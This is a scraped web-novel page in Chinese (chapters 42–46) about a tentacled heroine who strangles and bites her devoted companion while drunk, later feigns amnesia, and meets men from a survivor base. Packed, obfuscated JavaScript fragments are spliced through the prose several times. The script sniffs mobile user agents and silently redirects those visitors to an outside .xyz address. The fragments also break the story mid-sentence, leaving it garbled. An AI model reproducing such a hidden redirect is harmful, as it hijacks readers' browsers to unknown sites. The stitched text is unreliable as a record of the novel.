d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909352|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但随着触手逐渐收紧,他后知后觉地察觉到了不对劲——与先前几次相比,这次似乎缠得太紧了,已经超出了玩闹的范畴。 血液因窒息涌上头顶,他抬手抓住了脖子上的触手,艰难地为自己创造喘息的机会,刚想开口说话,口腔却猛地被触手袭入,沿着牙齿一勒到底,紧紧地压住了他的舌头,让他说不出话来。 郁仪下意识想咬,但牙齿合拢之前又担心咬疼了黎望舒,忍不住犹豫一瞬,错失了最后的逃生机会——正面袭来一股巨力,他仰面被压在了地上,后脑勺磕在冰冷的水泥地上,带起一阵钝痛。 黎望舒挪动触手,无言地将身体的重量压在他腹部,琥珀色瞳孔冷冷地俯视着他,带着一股冰冷的杀气,郁仪猛地打了个冷战。 那杀气有如实质,她是认真地想要将他杀死……可为什么? 黎望舒背后的空地上,闻风藻额头抵在膝盖上,一动不动,像是睡死了;两个女孩子依然在热火朝天地聊着八卦,不时爆发出一阵笑声,谁也没注意到这边的异常。 就在郁仪即将到达极限时,颈上的触手突然撤去了。 他来不及思考,循着本能猛吸了一口气,撑着水泥地想要坐起来,可颈侧又扣上了一双冰冷的手,用力将他压了回去——黎望舒俯下身子与他对视,鼻尖几乎要贴上他的,眸中像是带着笑意与爱怜,又像是一片空茫。 不知出于什么动机,她的拇指紧压着他的颈动脉,随着她缓慢地加大力道,眩晕感立刻袭了上来,他的手无力地垂下。 泪水模糊了视野,又从眼角滑落,郁仪茫然地仰望着黎望舒,试图从她的表情中看出一些端倪,但眼前一阵发黑,什么也看不清楚。 ……他到底做错什么了? “……哎呀,你看那边,那两个人又在亲热了。”杜蕊小声笑着戳了戳连霏,示意她朝对面看时,突然目光一凝。她细看了两眼郁仪的面色,酒劲顿时被吓飞了,着急地大跨了几步过去拉架,“喂,望舒……黎望舒,醒醒!你仔细看看他的脸色,快松开,他要被勒死了!” “别捣乱。”黎望舒皱眉,“我要杀了他。” “为什么啊!你到底喝了多少?”杜蕊急得快要崩溃,“你们两个也别愣着,快来帮忙把她拉开,要出人命了!” 闻风藻与连霏这才如梦初醒地过来帮忙,三人合力劝了一通,好不容易才让黎望舒放开了手。 “咳咳咳……” 刚一恢复自由,郁仪立刻侧过身体,猛地咳嗽起来,眼泪顺着睫毛砸在地上,混入尘土之中。杜蕊几乎以为他会把肺一同咳出来。 “没事吧?”她担忧地拍了拍郁仪的背,却被他一把推开了——他面色因缺氧红得发紫,脖颈上还残留着紫红的勒痕,直愣愣地望向黎望舒,“你……你为什么……” “杀我可以,但……”他顿了顿,眼圈骤然红透了,带着哭腔问:“但总得告诉我为什么吧?你讨厌我吗?我做了什么让你厌恶的事情吗?” “……” 杜蕊怎么也没想到他会是这样的反应,原先想好的劝架话术卡在喉咙里,忍不住张大了嘴巴,万千感想汇成了六个字—— 恋爱脑真可怕。 43. 第 43 章 静默的空气里,只能听到火舌与树枝的噼啪声,四双眼睛都紧盯着黎望舒,等待着她的回答。 “我不讨厌你。”黎望舒坐在地上,手心里还残留着他皮肤的触感。她搓了搓指腹,平静地回答,“恰恰相反,我很喜欢你,正因如此,才要杀了你。” 郁仪大脑缺氧,思维一片混沌,几乎不敢相信自己听到了什么,愣了许久才颤着声音,艰难地开口:“真的吗?但……为什么喜欢却要杀掉?我不明白……” “想知道?”黎望舒突然笑了,对待小狗似的,冲郁仪勾了勾手指,“过来,我讲给你听。” 像是被下了迷魂术似的,郁仪无法思考,下意识迈动了脚步。 “喂,你小心点,她现在没有理智,什么都干得出来。”杜蕊见郁仪执迷不悟,刚想上前阻拦,却被闻风藻拦了下来。 “一个愿打一个愿挨,拦他做什么。”闻风藻表情冷淡,像是压抑着什么,“不止黎姐没有理智,我看郁仪也昏了头了。” “但——”杜蕊仍有些担忧,“唉……都怪我太没主见,从一开始就不该让她喝酒。” 二人谈话的功夫间,郁仪已经摇摇晃晃地走到了黎望舒面前,自觉地半跪下来,视线与她齐平。 他看起来清醒了不少,眼神复杂,其中有疑虑、有受伤、甚至隐含着一点期待,但更多的则是直白而浓烈的信赖与爱欲,像只被主人伤透了心的小狗,即便受伤,依然不愿离开主人,只因主人就是他的一切。 被自己的想象逗笑,黎望舒牙尖泛起痒意,心中杀意不减,但总算找回了些理智。 黎望舒无言地与郁仪对视许久,直到听到了他急促的呼吸声,才满意地轻笑一声,将手伸向他脖颈的方向,揪住了他的衣领,用力将他拽了过来。 她盯着郁仪的乌黑瞳孔,笑着说:“你扰乱了我。虽然这不是你的错,但我这个人比较自私,总想让你付出点代价。” 说罢,便又将他拉近了点,一口咬在了他微微发紫的唇上。 杜蕊倒吸了一口凉气,闻风藻手中的啤酒罐当啷一声掉在地上。 唇上传来一阵温暖,随即是尖锐的刺痛,郁仪忍不住抽了口气——黎望舒给他的并不是吻,而是货真价实的撕咬。 她尖利的虎牙狠狠地嵌入他的下唇肉,持续不断地向下压去,几乎洞穿了他的唇瓣,鲜血顺着泪痕,从他线条流畅的下颌滑落,滴滴答答地向地面滴去,口中布满铁锈的腥甜味。 但他已经顾不上在意疼痛了——黎望舒的唇湿润地覆在他的唇角,将滚烫的温度传递过来,几乎要灼伤他的皮肤;双唇只接触了一瞬,但在他的印象里,仿佛过去了一世纪那么长。 直到黎望舒将他松开,他仍沉浸在其中无法自拔。 好机会!见黎望舒面色缓和,杜蕊看准机会上前一步。 “呃……那个,天都快亮了,你也该睡了吧?”杜蕊扯出僵硬的笑容,拼命回想着上次应对黎望舒醉酒时的经验,小心翼翼地绕到她背后,将她往电车的方向推,“走,我带你去车上睡。” 黎望舒顺着背后的推力迈步,舔了舔唇边的血液,尝到了熟悉的甜腥味。 这是郁仪的血,与白衫男子的血相比,味道明明一模一样,却有着极大的差异——后者带给她的只有恶心与愤怒,但前者的血尝起来格外甘美,让她忘却了被阻拦的不爽,心情由阴转晴。 杜蕊将黎望舒推进车厢后座,刚想关门,眼神一偏,瞟到了在后座另一侧蜷成一团、睡得正香的妞妞。 “……”眼下这个情况,再怎么说也不能让妞妞和她待在一起。 杜蕊陪着笑,迅速地绕到了车厢的另一边,一把将妞妞捞出来后,将眼罩递给了黎望舒:“快睡吧,有事我会叫你的。” 紧盯着她戴好眼罩,侧躺下来,杜蕊关上车门,总算松了口气。她将妞妞放回地上,回头去看篝火那边,却发现郁仪仍然维持着被推开的姿势,呆愣地坐在原地。 闻风藻与连霏一个面色阴沉,一个失魂落魄,都顾不上去查看郁仪的情况——杜蕊叹了口气,头一回有了又当妈又当爹、撑起一个混乱之家的操劳感。 她从车上拿了药,小心地扳过郁仪的肩膀,轻声问他:“没事吧,能自己止血吗?” 郁仪唇上的伤口还在流血,脖子上的紫红勒痕依旧触目惊心。他从脖颈到耳根一片通红,神情恍惚地转头接过了伤药,却没有立刻使用,而是将它们握在手里发愣。 “别愣着啊。”杜蕊提醒他,“再不上药……” “再不上药,他的伤口就要愈合了。”闻风藻冷嗤一声,“那么一点小伤,至于紧张成这样?” “少阴阳怪气,我这叫关心同伴。”杜蕊瞪了他一眼。 闻风藻不说话了,阴着脸仰头灌了一大口酒。 郁仪捏着绷带,一遍遍地回想着刚刚发生的一切。身边人说得每一句话都清楚地传入耳中,可大脑已经在满负荷运转,分不出多余的精力去解析,那些句子统统变成了无意义的音节。 ……他好像还在梦中。可就算是梦,他看到的也多半是她浑身浴血的噩梦,从未梦到过如此令人心神动摇的景象。 灼热、湿润的触感,至今还残留在他的皮肤上,他甚至不敢去触碰自己的嘴唇,不舍得将那份触感抹除,又羞于去舔舐,只能傻乎乎地微张着唇,任由鲜血滴落。 黎望舒说的话,他仍然无法理解。他不明白爱与杀为什么会联系在一起,他爱着黎望舒,因此想要替她承受一切苦难,希望她活得比任何人都要长久;可黎望舒的爱似乎和他的不同,她的爱伴随着真切又危险的杀意,也没怎么心疼过他……不知是不是他的错觉,她甚至乐于欣赏自己痛苦挣扎的样子。 也许是因为已经经历过一次失去,他每每想起上一世黎望舒的结局都会心脏紧缩,更无法想象失去她之后的自己会是什么模样……那样的结局比死更可怕。 即便被当成玩物、随时有可能被杀死也无所谓,他绝不会退缩。不知从何时开始,只要看着黎望舒,察觉到自己依旧在她身边,他心中就会生出无与伦比的满足感。 郁仪缓缓低头,将整张脸埋进臂弯里,忍着羞耻抿唇,悄悄舔过唇上的伤口——被黎望舒尖牙刺出的小洞仍在汩汩冒血,血液顺着他的舌头流进喉咙中,仿佛仍然带着她的温度,让他有种再度与她建立起了链接的错觉。 好温暖、好满足……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913998|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他面上浮起病态的潮红。 …… “唉……” 将在酒精作用下莫名其妙开始大哭的连霏安慰着睡下,杜蕊精疲力竭地叹了口气,盘腿坐回篝火边上,又一次深刻反省:“酒真不是什么好东西,绝对不会再有下次了!” “她上一回喝醉的时候都干了些什么?”闻风藻整理好了心情,又变回了平时似笑非笑的模样,向她搭话,“不会想把你杀掉吧。” “那倒是不至于。”杜蕊随手往火堆里添了几根树枝,回忆道:“那时候我们一起合租在公寓里,她平时不喝酒,但为了庆祝她找到工作,我们那晚就一起喝了两杯。我真没想到她那么能闹,客厅成了一团糟不说,还差点把家里的窗户砸碎了。” “砸窗户?”闻风藻扬起眉毛,“为什么啊。” “谁知道呢,哈哈……”杜蕊干笑两声,随口糊弄过去,想起了那时黎望舒的样子—— 那时她神秘兮兮地说自己是外星人,父母在外星生活得和和美美,总有一天会来接她回去。转头看到窗外的月亮时,她拎起桌上的台灯就要冲过去砸玻璃,嚷嚷着要跳回外星和父母团圆,吓得杜蕊直接从背后抱住她,拖住了她的脚步。 那时候黎望舒的力气还没有这么大,扭不过经常举铁的杜蕊,二人推搡着滚在地毯上,黎望舒被她锁在怀里,挣扎了一会儿就死死地睡过去了。 杜蕊听说过黎望舒的身世,知道她从小在孤儿院里长大,并没有父母。黎望舒醒来后似乎忘记了那些话,她也识相地只当从没听过,但每次回想起来都觉得心里酸酸的。 望舒平时装出一副无所谓的样子,但其实很在意自己的身世吧……想到这里,杜蕊再次坚定了自己的想法——那些都是望舒的伤心事,绝不能和任何人提起。 “……杜蕊?” 杜蕊沉浸在回忆中,耳边突然传来一声呼唤,她心虚地抬起头,“我在!” “我有话要对你说。”郁仪下唇贴着小熊图案的创可贴,站在她面前,指了指旁边的空地,“能跟我来一趟吗?” “不能在这里说吗?”她愣了一下,在对方脸上看到了为难的表情,于是立刻起身,“好啦,没问题,走吧。” 经过闻风藻时,他不爽地冷哼一声,被杜蕊无视了。 “我必须向你道歉。”离篝火有一段距离后,郁仪面色严肃地开口,“对不起。” “啊?你做什么了?”杜蕊左思右想,只想到了刚刚他急着向黎望舒讨个说法、将自己推开的样子,“哎呀,我懂,你那时候着急嘛。” “……?”郁仪哽住了。 “不过你做事也太莽撞了,那时候明明知道望舒没理智还要往上凑,吓了我一跳。”杜蕊揶揄地笑起来,“但结果不错,真没想到望舒也有这么一天,也算是铁树开花了……你开心坏了吧。” “虽然这件事也需要道歉,但我说的不是这件事。”郁仪等待多时,总算找到了插话的机会,“我们第一次见面的时候,我曾经说你会背叛她……对不起,是我错了。” “……那是多久之前的事了,你还记着呢?” 从尘封的记忆中翻出这件小事,杜蕊忍不住张大嘴巴。 44. 第 44 章 “我都快忘了有这回事。”杜蕊挠了挠后脑勺,“没事,我早就原谅你了。” 还没等郁仪松一口气,她接着说:“我懂,你嫉妒我能和望舒贴贴,所以才口不择言了,对吧?” “……?”郁仪差点被生生呛到,连忙辩解:“不对,我只是对你有些偏见……” “那是我们第一次见面,能有什么偏见。”杜蕊露出了看透一切的微笑,忍不住开导他:“别害羞嘛,这没什么大不了的。但你这个毛病得改,不能什么醋都吃啊,这样多累。” “等等,真不是……”郁仪两眼一黑。 他刚想继续解释,远处电车的门突然被推开了,黎望舒脑袋顶上还挂着眼罩,面无表情地走了出来。 “……!”郁仪立刻忘了自己本来想说什么。 他犹豫几秒后,深吸一口气,撕下唇边的小熊创可贴攥在手心里,绷着脸朝那边走去。 看着他远去的背影,杜蕊缓缓打出一个问号。 -- 黎望舒在剧烈的头痛中醒了过来,眼前一片黑暗。 她拽开脸上的眼罩,双眉紧锁地按住太阳穴,朝车窗外看去——天色刚蒙蒙亮,太阳即将升起,地平线浮现出一抹辉光,刺得她双眼连带着整个额头都开始胀痛。 这是酒精的后遗症,早知道就少喝点了,黎望舒从背后抽了瓶水出来,边喝边烦躁地回想。 昨晚,她去树林里捡了些枯枝、回来升起篝火、加热罐头后开始喝酒……然后呢? 混沌的记忆逐渐变得清晰,黎望舒下撇的嘴角也逐渐绷直。想起那个血腥之吻时,她手指猛地一收,塑料水瓶不堪重负地在手中裂开,纯净水淅淅沥沥地从裂口溢出。 ……她都干了些什么啊。 黎望舒放下水瓶,捂住眼睛,头一次生出了不想面对的感情。 她没有上一次喝醉时的记忆,醒来后只记得那种轻飘飘的舒畅感。因此,即便杜蕊事后绘声绘色地描述了一堆她犯下的恶事,但面对一如往常的房间,她实在没什么实感,甚至曾经认为杜蕊有夸大描述的嫌疑,但现在看来…… 何止没有夸大,她怀疑,杜蕊为了不让她难堪,甚至还隐藏了一部分事实。 酒精压下了理智,改变了思考方式,几乎让她变成了另一个人……回想起那种冰冷的、毫无道德感的思维方式,连她自己都忍不住后怕。 要是没被杜蕊拦下,她真的会把郁仪杀死……那之后,身边的人会怎么看她?毫无疑问,没人会继续留在这样一个杀死同伴的人身边。 黎望舒轻轻呼出一口气,压下微微颤抖的手指,迅速敲定了接下来的应对方案——装断片。 她实在想不出该如何面对郁仪——勒也勒了,亲也亲了,这时候再冷漠无情地说他们二人之间不存在任何友情以上的关系,似乎不太符合道德观念。 假装失忆,给大家都留点面子,你好我好大家好。 但让黎望舒没想到的是,她刚一拉开车门,就遥遥地和远处的郁仪对上了视线——他正和杜蕊面对面站着,看见她出来,他双眸一亮,从嘴边揭下了一片小东西,匆匆冲杜蕊说了句话后,便朝这边跑来。 黎望舒:“……” 是福不是祸,是祸躲不过,她放弃挣扎,面无表情地站在原地,看着郁仪走过来。 “你醒了,睡得怎么样?”郁仪在她身前一米处站定,局促地没话找话,没等她回答,又突兀地说:“昨晚,你……” “你来的正好。”黎望舒微笑着打断他,“实不相瞒,我酒后容易断片,现在什么都不记得了。昨天发生什么了吗?” “……忘了?”郁仪愣住了,难以置信地重复。 “哎呀,你脖子上怎么紫了一圈,昨晚被袭击了吗?”黎望舒做出惊讶的模样,贴心地帮他找好了理由,“嘴唇上又是怎么回事,不小心磕到了?” 郁仪不说话了,抿唇死死地盯着她,似乎想要从她脸上找出一些端倪;黎望舒面不改色地维持着表情,任他怎么看,都找不出一丝破绽。 “我不信。”郁仪攥紧了手心里的创可贴,往前走了一步,执拗地说:“你昨晚明明说了喜欢我,还、还……咬了我,怎么能说忘就忘呢?” 尽管磕磕绊绊,说到一半声音又突兀地低了下去,但他还是坚持着说出来了。 黎望舒淡定地说:“有吗?我真忘了。就算我真的说过,酒后的话也不能当真。” 郁仪呆呆地望着她,神情可怜得像只被主人抛弃的落水狗。 无言良久,他终于找回了自己的声音,摸了摸唇边的新鲜伤口,干涩地追问:“这个伤口,是你咬出来的。如果不喜欢我,为什么要和我唇齿相贴?” “不记得了,谁知道呢。”黎望舒抬头望天,准备装傻到底,“喝了酒什么事都有可能做出来,对不起,你别多想啊。” “你嘴唇边上还沾着我的血。”郁仪不依不饶。 记忆被勾起,黎望舒回想起他血液的甜味,下意识伸舌舔了舔唇角,随即面色一僵,暗道一声不妙。 “你分明还记得!” 郁仪果然抓住了她的小动作,猛地又欺近了一步,额头几乎要贴上她的,难得用上了强势的语气,“为什么不承认?” 黎望舒心虚地移开视线,刚好抓到了在后方探头探脑看热闹的杜蕊,后者尬笑一声,将头缩了回去。 身前的郁仪还在纠缠不休,怕她逃走似的,双手压上了她的肩膀,越贴越近,丝绸般的发丝垂下,弄得她颈侧一阵发痒……她几乎能感受到对方温热的鼻息。 黎望舒额角青筋一跳,忍无可忍地揪住了郁仪的领口,反手将他塞进车厢里,自己也钻了进去,随后“砰”一声拉上车门,隔绝了外面的八卦视线。 “你——”郁仪还想接着说,却被黎望舒故技重施,用触手压住了舌头,双手手腕也被缚在身后,只能用泛着水光的双眼向她传达自己的不满。 “给你台阶你不下,非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919490|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要搞成这样。”黎望舒叹了口气,“我承认,我全都记得,然后呢,你想得到什么样的答案?” 郁仪想要回答,试图挪动舌头,可黎望舒坏心眼地将触手又往下压了几分,一番搅动之后,不仅一个字没说出来,反而有来不及吞咽的唾液从唇边溢出,他难堪地轻喘出声,“唔……” “其实我明白你想听什么。”黎望舒说,“你大概想问,我们现在到底是什么关系……之类的?” 郁仪身体一僵,纠结片刻后,红着脸默默点头。 “我们是同伴,是朋友,除此以外没有任何关系。”黎望舒平静地说,“我不打算与任何人发展恋爱关系,哪怕对象是你也一样。” “哪怕对象是我?”郁仪总算重新得到了说话的权力,急切地向她确认:“你的意思是,对你来说,我是特别的?” “……等等,你的关注点放歪了。”黎望舒无语,“前半句话才是重点。” “我不在乎,就算得不到名……名分也没关系。”郁仪突然结巴起来,涨红了脸,“只要能在你身边,不被赶走,我就很满足了。” 黎望舒:“……” 仿佛第一天认识郁仪似的,黎望舒忍不住重新打量他——他双手被缚,半靠在后座上,圆领T恤的领口被她揪得有些变形,低低地耷拉下来,露出了线条流畅的锁骨;腰上紧缚着黑色绑带,长剑斜斜地杵在一边,颇具力量感的长腿被牛仔裤包裹,局促地半屈在狭小空间里。 他眼神坚定,丝毫没察觉到自己话中的问题有多大。 黎望舒的确没想到,郁仪的底线能低到这个地步,不过这样倒是正合她意。 “我说错话了吗?”见黎望舒面色古怪,郁仪忍不住问。 “没有,你说得很好。”黎望舒笑了,从纸巾包里抽了张纸,温柔地为他擦去唇角的液体,“那就这么说定了,我会把你留在身边,但今后不再提类似的话题,可以吗?” 郁仪顺从地仰起脖子,有些高兴似的,翘着唇角点头。 随着仰头的动作,他颈间的勒痕被展露出来,青紫的痕迹烙印在冷白皮肤上,格外扎眼,黎望舒的注意力被吸引过去,忍不住又将手覆了上去。感受到他的喉结在手掌下滚动,黎望舒摩挲着他的颈动脉,忍不住心念一动。 她用命令的语气说:“叫声主人让我听听。” 手下的皮肤一瞬间开始升温,郁仪睁大双眼望着她,看出了她不是在开玩笑。可这两个字的特殊意义实在太浓,他喉结滚了又滚,淡色唇瓣张开又闭上,白皙的面皮憋得通红,磨磨蹭蹭地始终说不出口, “算了,是我勉强你了。”黎望舒松开手,将他放开,作势要开门下车。 这本就是她的突发奇想,就算听不到也不觉得多么可惜,但郁仪似乎误解了她的举动,从背后一下子抓住了她的衣角,声音紧绷:“等等,我说!主……主人。” “哎,真乖。”黎望舒笑着回头,对待小狗似的,挠了挠他的下巴。 45. 第 45 章 “哎,你们看,那边好像有什么东西在发光!” 杜蕊握着方向盘,语气轻快,试图活跃气氛,可车内无人应声,依旧一片死气沉沉,她不由得在心里叹了口气。 ……昨晚的篝火宴会有个温馨的开头,却没能好好收尾。 自从黎望舒酒醉失控,咬了郁仪一口之后,几人之间的氛围就变得有些奇怪——连霏看起来失魂落魄,情绪不高,做什么都心不在焉;郁仪常常走神,与他说话时要提高音量才能获得回应;闻风藻更是一副被人欠了五百万的样子,连样子都懒得装,面无表情,张口就是阴阳怪气。 唯一一个没表现出异常的人,竟然是声称自己酒后断片的黎望舒。她白天负责警戒周围,几乎没怎么睡,此时微微歪头睡得正香。 杜蕊最怕这样的气氛,车内凝滞的空气几乎要让她窒息。 “那边好像是片大湖,发光的应该是萤火虫吧。”她维持着僵硬的笑容,努力让自己的声音听起来欢快又自然:“我还没看过萤火虫呢,不觉得很新奇吗?要不要过去看看?” “的确很少见,但……”连霏摸了摸妞妞的背毛,担心吵醒身边的黎望舒,声音压得极低,“我们擅自停车会不会不太好?” “呃……说得也是啊。”杜蕊看了眼后视镜中双目紧闭的黎望舒,又蔫了下去,“这时候把她叫醒不太好。” “好奇的话就去看看吧,正好让妞妞出去跑两圈。” 黎望舒睁开双眼,低头挠了挠妞妞的下巴——在车里待了太久,它恹恹地伏在她脚边,看起来没精打采的,“一开始就说过了,我们不急着赶路,轻松一点,就当是在旅游。” 郁仪神色一绷,立刻收回了四散的心神,趁她不注意,悄悄坐直了些。 “哇,太好了!”杜蕊一下子来了精神,又不好意思地说:“我吵醒你了?” “没事,我没睡着。”黎望舒目光掠过郁仪的鼻尖,望向窗外,“这个季节怎么会有萤火虫?” “过去看看就知道啦。”杜蕊快乐地转动方向盘。 在离湖边有段距离的位置停下车,杜蕊刚拉开车门,一条软趴趴的东西立刻在惯性的作用下,晃悠地拍在了她脸上,“……” 她被吓得大脑空白了两秒,然后才嗷地大叫一声,伸手抓住了那条东西,定睛一看——原来是半根蓝黑触手,被一条细绳栓在车顶,看起来莫名有些眼熟。 “黎望舒——!!”反应过来这是谁挂上去的,她猛地将触手拽了下来,气冲冲地兴师问罪,“不是说了不许挂这个吗!我差点被你吓得心脏病发!” “真不巧,下次我会记得换个地方挂的。”黎望舒将妞妞抱下车,看着它甩着舌头自由奔跑,一副欢天喜地的样子,忍不住微笑起来,“自从我将它挂在车上,就再也没有不长眼的怪物冲上来拦路了,它确实很有效。” “的确如此。”杜蕊无语地说,“但这可是你的一部分啊,居然这样随便挂在外面……” “我不在意。”黎望舒笑眯眯地说,“好用就行。” 杜蕊关了车灯,四周陷入黑暗。没了强光直射,宽阔的圆湖边上,一片微黄泛绿的荧荧光点逐渐显现出来,在湿润的泥土与水草上流动闪烁。 “真的是萤火虫。”杜蕊忍不住屏住呼吸,压低了声音,“好漂亮……我还是头一回在现实里看到。” “据说有萤火虫栖息的水域水质不错,我们可以在这里把空瓶灌满。”闻风藻说,“但萤火虫的观赏期一般在夏季,冬天居然能见到这么一大片……真是闻所未闻。” “水质不错?”杜蕊却想到了另一件事,忍不住兴奋地拽了拽黎望舒的袖子,“要不……我们在这儿洗个澡吧!虽说是冬天,但咱们太久没洗了,身上都快长蘑菇了。” 没等黎望舒回答,郁仪就无情地浇了盆冷水:“我劝你打消这个想法。” “为什么啊?”杜蕊不解。 “怪物大多喜欢潮湿的环境,会将卵产在水中,要不了几天就能孵出小怪物。”郁仪望了眼平静无波的湖面,“这片湖面积不小,水里面不知藏了多少怪物,很难清理干净。取水还好说,洗澡太危险了。” “啊……”杜蕊失望地耷拉下肩膀,“好吧。” 黎望舒提议:“带着我的触手下水怎么样?怪物应该会避开你,我也跟在你身边警戒。” 杜蕊想象着自己脖子上挂满蓝黑触手的模样,忍不住打了个冷战,连连摇头:“算了算了,太麻烦了,赶快装完水离开吧。” 说着,她回头一望,却没看见连霏的身影,“哎,连霏人呢?” “在这儿呢。”连霏远远地从车厢内探出头,车门边上蹲着歪着舌头喘气的妞妞,“我怕虫子,就不去那边了。” “等等……泡过怪物卵的水真的能用吗。”想起了虫母巢穴中密密麻麻挂在腔壁上的粘稠卵串,闻风藻有些嫌弃地盯着湖面,“别说喝了,就算用来洗手都膈应。” 被他这么一说,几人面面相觑,都从彼此的眼中看到了抗拒。 “咳……要不算了?”黎望舒清了清嗓子,征求他们的意见,“反正我们暂时不缺水。” “那就走吧。”杜蕊叹了口气,转身往回走,“见到了这么漂亮的萤火虫,也不算白来一趟。” “哔——” 就在这时,远方突然传来汽车喇叭的声音,紧接着,两道强力光束直直地朝这边扫来,将视野照成了白茫茫的一片,让人看不清前方冲来的究竟是什么东西;身后的萤火虫们被强光与声响刺激到,纷纷惊得飞离地面。 黎望舒眯起眼睛,勉强看清了灯光后头长条卡车的轮廓。那辆卡车冲势不减,径直冲着银白电车冲去,她心中一沉,一边朝卡车车头冲去,一边高喝一声:“连霏,带着妞妞闪开!” 连霏迅速跳下车,一把捞起妞妞往旁边冲去,动作敏捷,毫不拖泥带水。 黎望舒守在电车车尾,眸光冷锐,迎面望着向这边冲来的卡车头,没有半分畏惧地铺开触手——这个距离,足够她伸展触手、再将卡车拦腰拧断了。 但还没等她动手,那辆卡车似乎终于反应过来了,在刺耳的喇叭声中,猛打方向盘,车尾打着转从她面前不远处甩过,带起一阵强劲的气流,惊险地在湖边停了下来。 “……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926940|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 没去管那辆卡车,黎望舒先是回头扫了一眼,确认伙伴们一个不落地聚在她身后,而后才微微眯起眼睛,将目光投向从卡车上跳下的两个男人。 “……都说了深夜开车太危险,你偏不听。”较为年轻的小伙后怕地拍了拍胸口,率先开口埋怨,“你看看,差点出事故了!” “拖到早上再来,基地里用水供不上了怎么办?”理着寸头的中年男人一脸不爽,眉毛皱得能夹死苍蝇,“说到底,都怪你昨天喝酒误了时间。到时候上面追问起来,我一定不惯着你” “哎哟喂,千错万错都是我的错,王哥你行行好,千万别上报给塞大人啊。”年轻小伙合掌求饶。 这二人互相对骂了一阵后,才看见了前方面色不善的黎望舒几人。 寸头男人视线在对面几人身上转了一圈,看见了杜蕊手中的黑色小手枪,他黑着脸推了把年轻小伙,示意他过去交涉。 “哎,几位好啊,刚刚真不好意思。”年轻小伙点头哈腰地走了过来,被黎望舒冷冷瞪了一眼后,尴尬地止住了脚步,“我们两个实在太困了,差点把车开进湖里,还波及到了各位,太对不起了。” “你们是什么人?”黎望舒缓缓地将他从头打量到尾。 “什么人?这……就是普通人啊。”年轻小伙挠了挠后脑勺,没明白她想问什么。 “……你个废物点心。”被称为王哥的中年男人毫不留情地给了他一个爆栗,上前两步客气地解释道:“我叫王平,这小子叫包小阳,我们是附近基地里负责取水的人。刚刚的事只是场意外,我们并没有恶意,请几位见谅。” “原来这附近有个基地。”黎望舒微微挑眉,“现在可是凌晨,冒昧地问一句,二位为什么要选在这种时间取水?” “这个嘛……”包小阳磨磨蹭蹭地不肯说,王平作势又要敲他,他才不情愿地开口:“怪我,都怪我!我们本应该白天把事办好的,可我昨晚没控制住,不小心喝多了,睡了一天,拖累了王哥。” 王平冷哼一声,注意到黎望舒疑惑的眼神,他解释道:“基地里按二人小组排了值班表,今天刚好轮到我们取水,又有规定不允许单独行动,所以……实在没办法。” “原来如此。”黎望舒点头,软下语气,“既然是误会就好办了。我们本就没打算多留,这就准备离开,不打扰二位取水。” 无论这二人说得是真是假,她都没耐心与他们多做纠缠。 “别急着走呀。”包小阳热情地挽留他们:“几位不嫌弃的话,不如去我们基地里看一看?我们那儿正缺人手呢……哎呦,你怎么又打我!” “对不起,这小子自来熟,就爱瞎说话。”王平收回手,黑着脸说,“您别放在心上。” 黎望舒敷衍地笑了笑,刚想转头走人,但视线下移之时,注意力突然被对面二人佩着的深蓝圆牌吸引过去。 那小圆牌像是玉制的,在月光下微微发亮,反射着温润的莹光,更重要的是上面的图案——两柄长剑交叠在一起,剑柄上缠绕着两条乌黑小蛇,让她有种似曾相识的感觉。 这种图案……她一定在哪里见过。 46. 第 46 章 “怎么,您也认识这个牌子?” 顺着她的目光看过去,包小阳拎起腰上系着红绳的蓝色圆牌,骄傲地向她展示,“我们基地的成员人人都有这样的身份牌,戴出去别人就不敢招惹,厉害吧!” “我只是觉得图案很特别。”黎望舒若无其事地收回目光,做出一副很感兴趣的样子,“现在这样的环境里,居然还能批量生产出质感这么好的饰品,真好奇是怎么做到的。” 看到深蓝圆牌的那一刻,黎望舒就改变了注意——被那点说不清道不明的熟悉感驱使着,她迫切地想要去基地里见一见它的制造者。 “具体方法我也不清楚,牌子都是塞大人发给我们的……” “够了,你小子废话太多了。”看着包小阳乐颠颠地将知道的事全倒了出来,王平忍无可忍地打断了他。 